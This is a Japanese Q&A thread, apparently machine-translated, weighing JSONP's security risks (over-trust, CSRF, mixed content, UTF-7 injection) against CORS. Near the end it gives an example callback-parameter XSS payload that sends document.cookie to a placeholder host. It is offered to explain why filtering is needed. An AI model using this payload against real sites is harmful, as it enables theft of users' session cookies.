[〜#〜] jsonp [〜#〜] のセキュリティリスクは何ですか?セキュリティの観点から、新しいWebアプリケーションでJSONPを使用することは妥当ですか、それともクロスオリジンのWebマッシュアップには別の方法を使用する方が良いですか?
JSONPの使用が妥当な場合、それを安全に使用していることを確認するためにどのような手順を実行する必要がありますか?他のものを使用する方が良い場合は、代わりに何をお勧めしますか? (CORS?)
JSONPは、セキュリティの観点からは少し危険です。
過度の信頼が必要です。a.com
でホストされているページがあり、JSONPを使用してb.org
が提供するサービスにアクセスするとします。これには、b.org
を100%信頼することが含まれます。 b.org
が悪意のある、またはバグがある場合、埋め込みページとすべてのa.com
Originのセキュリティを破壊する可能性があります。この種の過剰な信頼は、セキュリティの観点から危険です。アプリケーションが壊れやすくなります。
別の言い方をすれば、JSONPは基本的には自己感染型のXSSです。はい、わかりました。バグではなく機能であることはわかっていますが、それでも...
CSRFの脆弱性。CSRFの脆弱性に対して防御することを忘れないでください。JSONPを使用すると、少しトリッキーになります。標準的なアドバイスは、POSTリクエストのみが副作用をトリガーできることを確認し、すべてのPOSTリクエストにCSRFトークンを含めることですが、JSONPは副作用をトリガーするGETリクエスト。これは今まで見た中で最もクリーンなソリューションではありません。つまり、JSONPサービスを提供するホストは、GETリクエストでもCSRFトークンを確認する必要があることを意味します。また、埋め込みページ(a.com
)がJSONPサービス(b.org
)から適切なCSRFトークンを取得するための少しトリッキーなプロトコルです。
混合コンテンツの警告を引き起こします。https://a.com
でホストされているページがあり、http://b.org
のJSONPサービスにアクセスするとします。次に、これは必然的に恐ろしい混合コンテンツの警告をトリガーします(JSONPはhttp://b.org
からのスクリプトのロードを含むため)。
ユーザー認証は見苦しくなります。b.org
がユーザーを認証する必要がある場合、JSONPを使用する際に注意が必要です。埋め込みページ(a.com
)は、b.org
のJSONPサービスにアクセスする前に、まず何らかの方法で事前にb.org
にログインする機会をユーザーに与える必要があります。両方のサイトを調整する必要があります。
新しいWebアプリケーションに対してJSONPを回避するようWeb開発者に推奨すべきかどうかはわかりませんが、これらの側面によりCORSはかなり魅力的に見えます。
参照 スクリプトタグ/ JSONPがドメインをまたがることができる場合のxmlhttprequestの同じドメインルールのポイントは何ですか?
コールバックパラメータはXSSベクトルの可能性があります
JSONPコールバック応答をフィルターする stackoverflowの回答 を見つけました。これは、次のようにCSRFトークンを盗むXSS攻撃にコールバックパラメータを操作できるため必要です。
http://yoursite.com/jsonp.php?callback=(function(){ $(document.body).append('<script type="text/javascript" src="http://badsite.com/?usercookies='+document.cookie+'"></script>'); })//
文字セットが含まれていない場合、UTF7インジェクションが可能です
ヘッダーがContent-Type: application/javascript; charset=utf-8
ではない場合、UTF7インジェクションが可能です。
コンテンツタイプの選択が影響する可能性があります
コンテンツタイプは、特定の共有Webホストの HTTPベースの圧縮に影響します を行います。
一部のブラウザでは、Content-Typeに基づいて実行できる機能にいくつかの機能的な違いがあります。 StackOverflowからリンクを掘り下げる必要があります
コールバックパラメータは、フラッシュインジェクションによるCSRFベクトルである場合があります。